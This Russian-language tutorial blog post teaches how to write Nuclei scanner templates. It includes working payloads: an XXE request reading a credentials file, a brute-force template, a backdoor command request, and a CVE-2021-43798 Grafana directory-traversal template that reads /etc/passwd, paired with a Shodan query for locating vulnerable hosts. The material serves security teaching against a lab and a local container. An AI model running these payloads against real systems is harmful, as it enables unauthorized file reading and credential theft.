Nuclei — это просто
Вся информация предоставлена только в ознакомительных и обучающих безопасности целях, используйте её на свой страх и риск. Мы не несем никакой ответственности за ваши действия.
Приветствую тебя, уважаемый читатель. В данной статье изучим nuclei, исследуем его возможности и рассмотрим, как создавать кастомные шаблоны для эффективного тестирования безопасности веб-приложений.
Базовый синтаксис
Итак, для корректной работы Nuclei необходимо следующее:
- Расширение .yaml
Каждый шаблон обязан иметь расширение .yaml
- ID:
Каждый шаблон должен обязательно иметь уникальный идентификатор, именно с него и должен начинаться шаблон. Кроме того, идентификатор не должен содержать пробелов.
id: first_template
- Информация о шаблоне
Для каждого шаблона обязательными являются поля "author", "name" и "severity", однако так же рекомендуется добавить подробное описание, ссылки и теги, чтобы легче было понять его назначение и функциональность.
info: name: First template author: SidneyJob severity: high description: My first nuclei template for my article reference: https://sidneyjob.ru tags: first,cve,learn,nuclei
- Запросы:
Чтобы взаимодействовать с веб-приложением, в шаблоне необходимо указать по крайней мере один запрос. В запросе определяются метод, путь, заголовки, тело запроса и другие параметры. Начинаются запросы в шаблоне с помощью поля http:
http:
Далее, нам необходимо определить метод, по которому будет происходить взаимодействие с сайтом. Метод запроса может быть GET, POST, PUT, DELETE и т. д. в зависимости от потребностей.
method: GET
Путь указывается с помощью поля "path". Пример запроса, используя который nulcei будет отправлять запрос к файлу "secret_file_for_sove_cve.txt"
http:
method: GET
path:
- "{{BaseURL}}/secret_file_for_sove_cve.txt"Вместо ссылки я указал {{BaseURL}} — это динамические переменные, которые могут быть помещены в путь, чтобы изменить его поведение во время выполнения. Переменные начинаются с "{{" и заканчиваются на "}}" и чувствительны к регистру.
Примеры динамических переменных:
{{BaseURL}} — заменит во время выполнения в запросе входной URL-адрес, указанный в целевом файле.
{{RootURL}} — заменит во время выполнения в запросе корневой URL-адрес, указанный в целевом файле.
{{Hostname}} — переменная имени хоста заменяется именем хоста, включая порт цели во время выполнения.
{{Host}} — заменит во время выполнения в запросе входной хост, как указано в целевом файле.
{{Port}} — время выполнения в запросе будет заменен входной порт, указанный в целевом файле.
{{Path}} — во время выполнения в запросе будет заменен входной путь, указанный в целевом файле.
{{File}} — заменит во время выполнения в запросе имя входного файла, указанное в целевом файле.
{{Scheme}} — во время выполнения в запросе будет заменена схема протокола, указанная в целевом файле.|
Переменная |
Значение |
|
{{BaseURL}} |
|
|
{{RootURL}} |
|
|
{{Hostname}} |
example.com:443 |
|
{{Host}} |
example.com |
|
{{Port}} |
443 |
|
{{Path}} |
/foo |
|
{{File}} |
bar.php |
|
{{Scheme}} |
https |
Другим способом создания запроса является использование необработанных запросов (RAW), которые обеспечивают большую гибкость
http:
- raw:
- |
POST /some_path_for_cve/backdoor.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=SidneyJob&cmd=ls%20-laФормат запроса RAW также поддерживает различные вспомогательные функции, позволяющие нам манипулировать входными данными во время выполнения.
Пример использования вспомогательной функции.
http:
- raw:
- |
GET /admin/some_private_page HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64('username:password')}}Вы можете найти полный список всех вспомогательных функций на официальном сайте или в моем телеграм-канале в формате PDF-файла.
- Проверка (Matchers):
Проверки используются для определения соответствия ответов на запросы определенным критериям. Например, можно проверить наличие определенной строки в ответе сервера или определенный HTTP-код ответа.
Всего есть 6 типов проверок:
|
Тип сопоставления |
Нужен для |
|
status |
Проверки ответа по статусу ответа |
|
size |
Проверки ответа по длине ответа |
|
word |
Проверки ответа по вхождению в него заданного слова |
|
regex |
Проверки ответа с помощью регулярных выражений |
|
binary |
Проверки ответа, который закодирован в hex |
|
dsl |
Создания более сложных выражений с помощью вспомогательных функций. |
Давайте создадим шаблон, который будет искать файл cve_proof.txt в корне веб-сайта.
id: first_template
info:
name: First template
author: SidneyJob
severity: high
description: My first nuclei template for my article
reference: https://sidneyjob.ru
tags: first,cve,learn,nuclei
http:
- method: GET
path:
- "{{BaseURL}}/cve_proof.txt"
matchers:
- type: status
status:
- 200Как читать данный шаблон?
Этот шаблон называется "first_template" и является первым шаблоном, созданным автором SidneyJob. Он имеет высокую степень серьезности и используется для статьи автора. Все подробности и ссылки можно найти на сайте SidneyJob.ru. Шаблон также имеет теги: first, cve, learn, nuclei, которые помогут сортировать и находить его.
Описание работы шаблона построчно:
- Объявление раздела "http".
- Указание метода запроса "GET".
- Указание пути, по которому будет осуществляться поиск файла. В данном случае - "{{BaseURL}}/cve_proof.txt". Здесь "{{BaseURL}}" является переменной, которая будет заменена на актуальный URL во время выполнения шаблона.
- Определение матчеров (сопоставителей), используемых для проверки ответного кода сервера.
- Определение типа матчера "status" (код состояния).
- Указание ожидаемого статуса сервера "200" - успех.
Таким образом данный шаблон отправляет GET-запрос к указанному пути на веб-сайте, заменяя переменную "{{BaseURL}}" на актуальный URL. Затем он проверяет ответный статус код - если код состояния сервера равен 200, то считается, что файл cve_proof.txt найден.
Пример сканера для проверки работы лаборатории
У нас есть лаборатория, которую мы создали с моим коллегой, чтобы предоставить возможность практиковать свои навыки в тестировании веб-приложений. Однако, каждый раз вручную проверять все задания после обновлений является неэффективным подходом. Поэтому я предлагаю вам написать собственные шаблоны, которые автоматически проверят корректность работы. Такой подход поможет нам не только автоматизировать процесс проверки, но и отточить ваши навыки в написании шаблонов.
Я рекомендую вам сначала выполнить задание в лаборатории (еще некоторое время будет хоститься здесь), а затем написать шаблон для автоматической эксплуатации обнаруженной уязвимости. Такой подход позволит вам извлечь максимальную пользу из данной лаборатории.
Совместно с вами мы рассмотрим два шаблона для задания на уязвимость POST-брутфорс, а также задание на XXE.
Начнем с задания на POST-брутфорс
id: post_brute
info:
name: Check SidneyJob and cherepawwka lab
author: SidneyJob
severity: low
description: Check correct post_brute
http:
- raw:
- |
GET / HTTP/2
Host: {{Hostname}}
- |
POST /postbrute HTTP/2
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username={{username}}&password={{password}}
payloads:
username: ./pass
password: ./pass
cookie-reuse: true
stop-at-first-match: true
matchers:
- type: word
part: body
words:
- "flag{"
attack: clusterbombid: post_brute: Здесь указывается уникальный идентификатор для шаблона, равный "post_brute".info:: Этот раздел предоставляет общую информацию о шаблоне.name: Check SidneyJob and cherepawwka lab: Название шаблона, указывающее на его цель - проверка лаборатории SidneyJob и cherepawwka.author: SidneyJob: Указывается автор шаблона.severity: low: Дает представление о уровне серьезности связанной с этим шаблоном уязвимости.description: Check correct post_brute: Краткое описание того, что делает шаблон, а именно проверку правильности post_brute.
http:: В этом разделе определяются HTTP-запросы, которые будут отправлены во время сканирования.raw:: Указывается использование необработанного формата HTTP-запроса.- |: Обозначает многострочный синтаксис YAML.GET / HTTP/2: Представляет первый HTTP-запрос, который является GET-запросом к корневому пути ("/") с использованием протокола HTTP/2.Host: {{Hostname}}: Используется заполнитель ({{Hostname}}), который будет заменен фактическим именем хоста во время выполнения.POST HTTP/2: Представляет второй HTTP-запрос, который является POST-запросом с использованием протокола HTTP/2.Content-Type: application/x-www-form-urlencoded: Указывает тип содержимого полезной нагрузки POST-запроса.username={{username}}&password={{password}}: Определяет данные формы для полезной нагрузки POST-запроса, где {{username}} и {{password}} являются заполнителями.
payloads:: Здесь указываются полезные нагрузки, которые будут использоваться для шаблона.username: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла.password: ./pass: Означает, что данная полезная нагрузка будет извлекаться из локального файла.
cookie-reuse: true: Позволяет Nuclei повторно использовать куки в различных запросах.stop-at-first-match: true: Указывает Nuclei прекратить сканирование дальше, если найдено соответствие.matchers:: Определяются механизмы поиска определенных шаблонов в ответе.- type: word: Указывается тип механизма поиска, который в данном случае является "word" для поиска определенных слов.part: body: Означает, что механизм поиска должен искать указанные слова в теле ответа.words: - "flag{": Указывается список слов, которые необходимо найти в теле ответа. В данном случае ищется слово "flag{".
attack: clusterbomb: Настраивает тип атаки для данного шаблона, который в данном случае является "clusterbomb" для отправки нескольких запросов параллельно.
Пояснение к 3-ему пункту: В данном разделе представлены два HTTP-запроса. Причина для этого связана с особенностями архитектуры лаборатории. Пока пользователю не присвоены cookie, сайт будет перенаправлять его на главную страницу. Чтобы использовать присвоенные нам cookie в первом запросе, мы воспользовались возможностью, указанной в 5-ом пункте: cookie-reuse: true. Таким образом, мы можем повторно использовать куки во втором запросе, что позволяет нам получить доступ к определенным функциональностям сайта и провести дополнительные проверки на наличие уязвимостей.
Перейдем к заданию на эксплуатацию XXE
id: xxe
info:
name: Check SidneyJob and cherepawwka lab
author: SidneyJob
severity: low
description: Check correct xxe page
http:
- raw:
- |
GET / HTTP/2
Host: {{Hostname}}
- |
POST /doLogin HTTP/2
Host: {{Hostname}}
Content-Type: application/xml;charset=utf-8
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///app/creds.txt" > ]>
<user>
<username>&xxe;</username><password>f</password></user>
cookie-reuse: true
matchers:
- type: word
part: body
words:
- "My uncrackable creds"id: xxe:Эта строка присваивает шаблону идентификатор "xxe".info:Этот блок содержит общую информацию о шаблоне.name: Check SidneyJob and cherepawwka lab:Эта строка указывает название шаблона, которое является "Check SidneyJob and cherepawwka lab".author: SidneyJob:Эта строка указывает автора шаблона, который является "SidneyJob".severity: low:Эта строка указывает уровень серьезности шаблона, который является "низким".description: Check correct xxe page: Эта строка предоставляет краткое описание того, что проверяет шаблон, а именно "Проверяет правильность xxe-страницы".
http::Эта строка начинает секцию HTTP-запросов шаблона, где определяются сами запросы и ответы.raw::Эта строка указывает, что мы используем непосредственные (raw) HTTP-запросы в данном шаблоне.GET / HTTP/2:Это первый непосредственный (raw) HTTP-запрос типа GET. Он извлекает корневую страницу ("/") с использованием протокола HTTP/2.Host: {{Hostname}}:Эта строка использует заполнитель "{{Hostname}}", который будет заменен на фактическое имя хоста во время выполнения шаблона.POST HTTP/2:Это второй непосредственный (raw) HTTP-запрос типа POST. Он отправляет XML-данные на сервер.Host: {{Hostname}}: Аналогично предыдущему запросу, эта строка использует заполнитель "{{Hostname}}".Content-Type: application/xml;charset=utf-8:Эта строка указывает тип контента запроса как XML с кодировкой UTF-8.- Следующие строки содержат XML-данные. Они устанавливают имя пользователя в виде XML-сущности с именем "xxe" и включают ссылку на файл на сервере ("file:///app/creds.txt") для значения "xxe". Также устанавливается пароль на "f".
cookie-reuse: true:Эта строка указывает, что шаблон должен повторно использовать полученные куки во время выполнения запросов.
matchers:: Этот блок определяет сопоставители ответов для проверки, являются ли выполнены определенные условия.- type: word:Эта строка указывает тип сопоставителя, который является "словом".- part: body:Эта строка указывает, что сопоставление должно выполняться в теле ответа.- words:Эта строка содержит список слов, которые должны присутствовать в теле ответа для успешного сопоставления. В данном случае ожидается наличие слова "My uncrackable creds".
Написание темплейта для уязвимости (CVE):
Предполагаю, что к настоящему моменту вы уже понимаете принцип создания шаблонов для nuclei. Однако, перед тем как закончим, давайте напишем шаблон для какой-нибудь уязвимости. Для нашего примера я выбрал CVE-2021-43798 (Grafana 8.3.0 - Directory Traversal and Arbitrary File Read). Мы с вами создадим шаблон Nuclei, чтобы искать именно эту уязвимость.
Давайте начнем с поиска контейнера с уязвимой версией Grafana на Docker Hub и запуска его. Выполним следующую команду:
docker pull grafana/grafana:8.3.0 docker run -p 80:3000 --name getsimple --rm grafana/grafana:8.3.0
Теперь уязвимая версия Grafana доступа по ссылке http://127.0.0.1 и можно приступать к тестированию и настройке нашего шаблона.
Начнем с оформления части с информацией
id: grafana830
#Это идентификатор шаблона, который помогает уникально идентифицировать эту уязвимость.
info:
#В этом блоке содержится информация о шаблоне, такая как название, автор, уровень серьезности и описание.
name: Template for find CVE-2021-43798
#Здесь указывается название шаблона, которое описывает его цель - поиск уязвимости CVE-2021-43798.
author: SidneyJob
#Это имя автора шаблона.
severity: high
#Уровень серьезности уязвимости указывается как "high" (высокий).
description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
#Здесь предоставляется описание уязвимости, в данном случае, она связана с произвольным чтением и обходом директорий в Grafana версии 8.3.0.
reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
#Предоставляются ссылки на дополнительные ресурсы, где можно узнать больше об уязвимости или найти эксплоиты.
tags: DT,fileread,grafana
#Здесь перечисляются теги для данного шаблона, которые помогают классифицировать его и упрощают поиск.
metadata:
#В блоке metadata содержится метаданные шаблона, которые помогают в поиске уязвимостей.
shodan-query: 'vuln:CVE-2021-43798'
#В этом случае, используется Shodan запрос 'vuln:CVE-2021-43798', чтобы найти уязвимые устройства, связанные с CVE-2021-43798.Давайте воспользуемся публичным эксплоитом для получения всех доступных плагинов и используем вспомогательную функцию repeat.
payloads:
passwd_file:
- '{{repeat("../", 10)}}'
plugins:
- alertlist
- annolist
- barchart
- bargauge
- candlestick
- cloudwatch
- dashlist
- elasticsearch
- gauge
- geomap
- gettingstarted
- grafana
- azure
- monitor
- datasource
- graph
- heatmap
- histogram
- influxdb
- jaeger
- logs
- loki
- mssql
- mysql
- news
- nodeGraph
- opentsdb
- piechart
- pluginlist
- postgres
- prometheus
- stackdriver
- stat
- state
- timeline
- status
- histor
- table
- table
- old
- tempo
- testdata
- text
- timeseries
- welcome
- zipkinДополнительно мы добавим два параметра:attack: clusterbomb
stop-at-first-match: true
Первый параметр attack: clusterbomb будет позволять перебирать все возможные варианты плагинов, а второй параметр stop-at-first-match: true позволит прекратить поиск, как только будет найден первый успешный плагин.
Ну и напоследок нам нужно добавить в шаблон проверку, чтобы убедиться что эксплоит отработал успешно
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: bodyФинальный вид шаблона:
id: grafana_8_3_0
info:
name: Template for find CVE-2021-43798
author: SidneyJob
severity: high
description: Directory Traversal and Arbitrary File Read in Grafana version 8.3.0
reference: https://sidneyjob.ru, https://www.exploit-db.com/exploits/50581
tags: DT,file_read,grafana
metadata:
shodan-query: 'vuln:CVE-2021-43798'
http:
- method: GET
path:
- "{{BaseURL}}/public/plugins/{{plugins}}/{{passwd_file}}etc/passwd"
attack: clusterbomb
stop-at-first-match: true
payloads:
passwd_file:
- '{{repeat("../", 10)}}'
plugins:
- alertlist
- annolist
- barchart
- bargauge
- candlestick
- cloudwatch
- dashlist
- elasticsearch
- gauge
- geomap
- gettingstarted
- grafana
- azure
- monitor
- datasource
- graph
- heatmap
- histogram
- influxdb
- jaeger
- logs
- loki
- mssql
- mysql
- news
- nodeGraph
- opentsdb
- piechart
- pluginlist
- postgres
- prometheus
- stackdriver
- stat
- state
- timeline
- status
- histor
- table
- table
- old
- tempo
- testdata
- text
- timeseries
- welcome
- zipkin
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
Заключение
В заключение, использование шаблонов nuclei для тестирования веб-приложений является мощным инструментом, способствующим повышению качества и надежности разрабатываемых веб-приложений. Шаблоны nuclei предоставляют эффективный способ тестирования веб-приложений, позволяя создавать реалистичные и масштабируемые сценарии использования.
Призываю Вас к дальнейшему изучению и применению полученных знаний, чтобы достичь более высокого уровня автоматизации и эффективности в процессе тестирования приложений.
Хотелось бы выразить искреннюю благодарность всем читателям за то, что вы уделили время на прочтение этой статьи. Я надеюсь, что представленная информация о создании шаблонов nuclei была полезной и информативной для вас.
